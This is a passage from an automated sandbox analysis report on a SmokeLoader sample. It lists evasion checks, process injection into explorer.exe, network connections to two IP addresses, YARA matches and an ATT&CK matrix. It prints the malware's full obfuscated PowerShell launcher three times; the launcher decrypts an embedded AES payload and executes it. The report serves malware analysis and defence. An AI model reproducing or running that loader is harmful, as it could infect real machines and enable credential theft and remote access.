Thread delayed: delay time: 922337203685477

Jump to behavior

Source: explorer.exe, 00000014.00000000.1466765592.00000000087C2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW6
Source: explorer.exe, 00000014.00000000.1466765592.00000000087FE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000014.00000000.1466765592.00000000088DF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000r
Source: powershell.exe, 00000008.00000002.1454461923.00000220A1F5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSIdRom&Ven_NECVMWar&Prod_VMware_
Source: explorer.exe, 00000014.00000000.1466765592.00000000088DF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}Z
Source: explorer.exe, 00000014.00000000.1466765592.000000000875F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: v@oem2.inf,%loc.vmwarebusdevicedesc%;VMware VMCI Bus Device
Source: explorer.exe, 00000014.00000000.1466765592.00000000087FE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: explorer.exe, 00000014.00000000.1466765592.00000000088DF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}AsVuser
Source: powershell.exe, 00000008.00000002.1455475902.00000220A1FC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: svchost.exe, 0000000C.00000002.2583365690.0000027A8702B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.2586119306.0000027A8C658000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000014.00000000.1466765592.00000000087C2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000014.00000000.1466765592.00000000088DF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}otti
Source: powershell.exe, 00000008.00000002.1454461923.00000220A1F84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWI
Source: explorer.exe, 00000014.00000000.1459005061.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000\
Source: explorer.exe, 00000014.00000000.1462070889.0000000004027000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}s/U6
Source: explorer.exe, 00000014.00000000.1466765592.000000000875F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: explorer.exe, 00000014.00000000.1466765592.000000000875F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00j
Source: explorer.exe, 00000014.00000000.1459005061.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000014.00000000.1466765592.00000000088DF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000

Source: C:\Users\user\AppData\Roaming\putty.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\AppData\Roaming\putty.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\therfaa	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\AppData\Roaming\putty.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\therfaa	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_00481694 push dword ptr fs:[00000030h]	14_2_00481694
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_004F092B mov eax, dword ptr fs:[00000030h]	14_2_004F092B
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_004F0D90 mov eax, dword ptr fs:[00000030h]	14_2_004F0D90
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_00551694 push dword ptr fs:[00000030h]	21_2_00551694
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_0072092B mov eax, dword ptr fs:[00000030h]	21_2_0072092B
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_00720D90 mov eax, dword ptr fs:[00000030h]	21_2_00720D90

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: therfaa.20.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 109.70.26.37 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 94.156.177.51 80			Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\AppData\Roaming\putty.exe	Thread created: C:\Windows\explorer.exe EIP: 6D1998			Jump to behavior
Source: C:\Users\user\AppData\Roaming\therfaa	Thread created: unknown EIP: 84F1998			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\therfaa	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\therfaa	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\invoce.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\putty.exe "C:\Users\user\AppData\Roaming\putty.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function yyjd($ahlac){return -split ($ahlac -replace '..', '0x$& ')};$kpwc = yyjd('9626ac9ca11f87600da3d4d6512002c7dbd2692a7fd524bb4fd120b8703e62b78823ec832238dd1518e4463172663bb7581f6638a4db36633fd4587eacb1f6e92783b536b0033981a9bbb7b3820bbb662b2deebb46c45fda20758efd8966ee737a4ffe51b0b05b720ad71e578ef1cdd1c5d079b0871d75ca28175427ed824c17ae205eb3d16b2cb56dbe2eef7cd9b26a80a26195c5a4212c391be6fa8471b32e1fecc1a8ab39510dc769dff298caf994fd115ac6d93557d0c2adc21bea849d901b562c394f376197052590ba05267e31e9f7a737740706c07feb1a99508b4dab29313e96415058c85f28827900d80e5d145b64cd02fcd51c7880852e1c4dfbf891dc5482a7b37e5bd8c81c2dfc9fcd49ae7d7055fca9a57228762073d80ab71a7a99e8e21a8be8b7b66c00a9d1192a801a2d026d3d7d5c22467949b4555d9370aa40b4fa9a3a2ba54f4dc8cef827955ba500a1f5547ec70cbb8f8b0ed68fcf3402f7e74ae0a1912a6903222db9bb5ba07ac2cc865b4770bfeb2ae1929dda9e6f2b18934c8790dbc2a20e2617c410434bc21bc5ec2faced22799a39cede8a16c040da945ac83b21a48d1ef157a3ff92a7b4c17b44bfbf9361306729775078d6abf1025ec18617c0409b64fc7a378cd9efc0b2eb21a213221986a49ad0d6e7b08210cf163b19b73128352a80894f065cdc9b095db8513360c157d95d4ad51da58bdc71aafa4e8f8bbd2a07be25f3e32a4d5337b04b3c8d8e8855946e1d6b0c403e07b4e3b937c6615de848917188bd1dce38f70a40cda365782300d6e5d5eed0daa2c5c600f3366672239898766852527c4283b3da965f9a86f861214192089a34c1ce5380ee7d6e0f386e744119906b947c7758bb4d7b8a325c60653292b6c08c97385ddc4f7f5ab31eae51e4f906f9d17c398e252eea05547754176ef723fdbd120525a42ac182e5eb4b575dbbfa9c5a468028141761ceec0a3225665ef3c6b84622c514a2dca8516179c4f22d4b9c04f7856080b6f50f14ffcacc0d37a5dcb8b05a861748aa499be5adbaef60daa641dc3547f92e711e7d70df4ff551b3d81d829f09839d1e7b12264274b34ec2bb736771ed9b7d5b2dd00090dfe4c97d6c7684f6b2274906afdb0357f7f48b7b50440e3b5a6ff709b7581916322d76ed40c49674645626922643643dd0e89524ad1811687a9c7c8a93cdd6c520cfcdf968742122c005d2f8128ad8a2fab7f5d8fe45');$ajka=-join [char[]](([security.cryptography.aes]::create()).createdecryptor((yyjd('514e694341537749566378795955644f')),[byte[]]::new(16)).transformfinalblock($kpwc,0,$kpwc.length)); & $ajka.substring(0,3) $ajka.substring(3)
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function yyjd($ahlac){return -split ($ahlac -replace '..', '0x$& ')};$kpwc = yyjd('9626ac9ca11f87600da3d4d6512002c7dbd2692a7fd524bb4fd120b8703e62b78823ec832238dd1518e4463172663bb7581f6638a4db36633fd4587eacb1f6e92783b536b0033981a9bbb7b3820bbb662b2deebb46c45fda20758efd8966ee737a4ffe51b0b05b720ad71e578ef1cdd1c5d079b0871d75ca28175427ed824c17ae205eb3d16b2cb56dbe2eef7cd9b26a80a26195c5a4212c391be6fa8471b32e1fecc1a8ab39510dc769dff298caf994fd115ac6d93557d0c2adc21bea849d901b562c394f376197052590ba05267e31e9f7a737740706c07feb1a99508b4dab29313e96415058c85f28827900d80e5d145b64cd02fcd51c7880852e1c4dfbf891dc5482a7b37e5bd8c81c2dfc9fcd49ae7d7055fca9a57228762073d80ab71a7a99e8e21a8be8b7b66c00a9d1192a801a2d026d3d7d5c22467949b4555d9370aa40b4fa9a3a2ba54f4dc8cef827955ba500a1f5547ec70cbb8f8b0ed68fcf3402f7e74ae0a1912a6903222db9bb5ba07ac2cc865b4770bfeb2ae1929dda9e6f2b18934c8790dbc2a20e2617c410434bc21bc5ec2faced22799a39cede8a16c040da945ac83b21a48d1ef157a3ff92a7b4c17b44bfbf9361306729775078d6abf1025ec18617c0409b64fc7a378cd9efc0b2eb21a213221986a49ad0d6e7b08210cf163b19b73128352a80894f065cdc9b095db8513360c157d95d4ad51da58bdc71aafa4e8f8bbd2a07be25f3e32a4d5337b04b3c8d8e8855946e1d6b0c403e07b4e3b937c6615de848917188bd1dce38f70a40cda365782300d6e5d5eed0daa2c5c600f3366672239898766852527c4283b3da965f9a86f861214192089a34c1ce5380ee7d6e0f386e744119906b947c7758bb4d7b8a325c60653292b6c08c97385ddc4f7f5ab31eae51e4f906f9d17c398e252eea05547754176ef723fdbd120525a42ac182e5eb4b575dbbfa9c5a468028141761ceec0a3225665ef3c6b84622c514a2dca8516179c4f22d4b9c04f7856080b6f50f14ffcacc0d37a5dcb8b05a861748aa499be5adbaef60daa641dc3547f92e711e7d70df4ff551b3d81d829f09839d1e7b12264274b34ec2bb736771ed9b7d5b2dd00090dfe4c97d6c7684f6b2274906afdb0357f7f48b7b50440e3b5a6ff709b7581916322d76ed40c49674645626922643643dd0e89524ad1811687a9c7c8a93cdd6c520cfcdf968742122c005d2f8128ad8a2fab7f5d8fe45');$ajka=-join [char[]](([security.cryptography.aes]::create()).createdecryptor((yyjd('514e694341537749566378795955644f')),[byte[]]::new(16)).transformfinalblock($kpwc,0,$kpwc.length)); & $ajka.substring(0,3) $ajka.substring(3)			Jump to behavior

Source: explorer.exe, 00000014.00000000.1459303900.0000000000BB1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000014.00000000.1462958683.0000000004040000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000014.00000000.1466765592.00000000088B8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000014.00000000.1459303900.0000000000BB1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000014.00000000.1459005061.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ProgmanZw
Source: explorer.exe, 00000014.00000000.1459303900.0000000000BB1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000014.00000000.1459303900.0000000000BB1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: yProgram Manager

Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: __crtGetLocaleInfoA_stat,	14_2_0041780E
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,	14_2_004114A0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoW,	14_2_00414674
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	14_2_00410E32
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,	14_2_0040B2C7
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: __crtGetLocaleInfoA_stat,	21_2_0041780E
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,	21_2_004114A0
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoW,	21_2_00414674
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	21_2_00410E32
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,	21_2_0040B2C7

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 14.2.putty.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.therfaa.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.3.therfaa.730000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.putty.exe.4f0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.therfaa.720e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.3.putty.exe.500000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000002.1743447935.0000000000730000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1491341577.0000000000500000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.1407211942.0000000000500000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1743495110.0000000000751000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.1692068862.0000000000730000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1491547091.0000000000571000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 14.2.putty.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.therfaa.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.3.therfaa.730000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.putty.exe.4f0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.therfaa.720e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.3.putty.exe.500000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000002.1743447935.0000000000730000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1491341577.0000000000500000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.1407211942.0000000000500000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1743495110.0000000000751000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.1692068862.0000000000730000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1491547091.0000000000571000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	21 Scripting	Valid Accounts	2 Command and Scripting Interpreter	21 Scripting	312 Process Injection	21 Masquerading	OS Credential Dumping	421 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	141 Virtualization/Sandbox Evasion	LSASS Memory	141 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	13 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	Logon Script (Windows)	312 Process Injection	Security Account Manager	3 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Hidden Files and Directories	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	133 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\therfaa	100%	Avira	HEUR/AGEN.1306956
C:\Users\user\AppData\Roaming\putty.exe	100%	Avira	HEUR/AGEN.1306956
C:\Users\user\AppData\Roaming\therfaa	100%	Joe Sandbox ML
